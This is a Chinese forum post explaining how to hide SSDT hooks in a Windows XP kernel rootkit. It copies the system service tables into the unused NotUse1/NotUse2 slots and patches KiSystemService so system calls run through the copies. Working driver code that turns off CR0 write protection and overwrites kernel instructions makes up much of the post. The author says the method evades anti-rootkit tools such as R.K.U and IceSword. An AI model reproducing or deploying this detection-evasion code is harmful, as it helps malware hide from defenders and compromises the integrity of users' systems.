前天看到一篇同样标题的文章(我转载到其他地方也被BS),但后来被作者删了,我也来一篇共勉一下。
SSDT HOOK是个很古老的话题了,基本上是ring0 rookit入门的第一课。我们先来重温一下系统服务表结构:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW
{
SERVICE_DESCRIPTOR_TABLE ntoskrnl; //ntoskrnl.exe
SERVICE_DESCRIPTOR_TABLE win32k; //win32k.sys
SERVICE_DESCRIPTOR_TABLE NotUse1; //未使用
SERVICE_DESCRIPTOR_TABLE NotUse2; //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
在KeServiceDescriptorTable中,只有ntoskrnl被使用,在KeServiceDescriptorTableShadow中,ntoskrnl及win32k都被使用,但如上,两个服务表都没有用到NotUse1、NotUse2,而且几乎所有SSDT HOOK检测工具都是检查前两项,当然了,绝少人会用到后两项。
这里的思路是,复制ntoskrnl及win32k,将他们分别放到NotUse1及NotUse2,完了之后想办法让系统调用进入我们新建的NotUse1及NotUse2,这样我们修改复制后的表就可以实现SSDT HOOK,我们不需要对原表做任何修改,所以ARK工具也就检测不了了。
上面思路一个难点就是让系统调用进入NotUse1及NotUse2而不是原来的ntoskrnl及win32k,很幸运,我在KiSystemService找到一个很好的地方如下:
inc large dword ptr fs:638h //<--这里是用来纪录system calls的,没太大用处,可以替换掉
mov esi, edx
mov ebx, [edi+0Ch] //<--edi保存的就是服务表中的ntoskrnl或者win32k
xor ecx, ecx
mov cl, [eax+ebx]
mov edi, [edi]
mov ebx, [edi+eax*4]
sub esp, ecx
shr ecx, 2
mov edi, esp
cmp esi, ds:_MmUserProbeAddress
//上面代码是XP系统的,其他windows系统也有类似代码
这里的做法是将指令 inc large dword ptr fs:638h 改为 add edi,0x20,这样原先edi指向ntoskrnl或者win32k的就变成了指向NotUse1或者NotUse2,系统调用直接进入了我们的复制表。
测试结果,R.K.U、IceSword及我所用到的SSDT HOOK检测工具都检测不出。特别,上面花那么大力气修改inc large dword ptr fs:638h指令就是避免了长跳转,使R.K.U无法发现代码已经被修改。
BOOLEAN
AddMyServiceTable(
)
{
if( !g_bIsMyServiceTableCreated ){
DbgPrint( "AddMyServiceTable() Create Service table first !\n" );
return FALSE;
}
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1,
(PVOID)&mKeServiceDescriptorTable->ntoskrnl,
sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );
RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1,
(PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl,
sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
return TRUE;
}
BOOLEAN
HookSysCall(
)
{
//add edi,20h
//nop ....
//
UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
KIRQL oldIrql;
if( g_bIsHooked )
return TRUE;
if( !g_bAddressInited ){
DbgPrint( "Syscall address not inited\n" );
return FALSE;
}
if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){
return FALSE;
}
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size );
KeRaiseIrql( DISPATCH_LEVEL,&oldIrql );
RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size );
KeLowerIrql( oldIrql );
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
g_bIsHooked = TRUE;
return TRUE;
}
//----------------------------------------------------------------------------
发文之前,我没有google baidu有没有人发过相似的文章,如有雷同,我也 肯定不会删。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法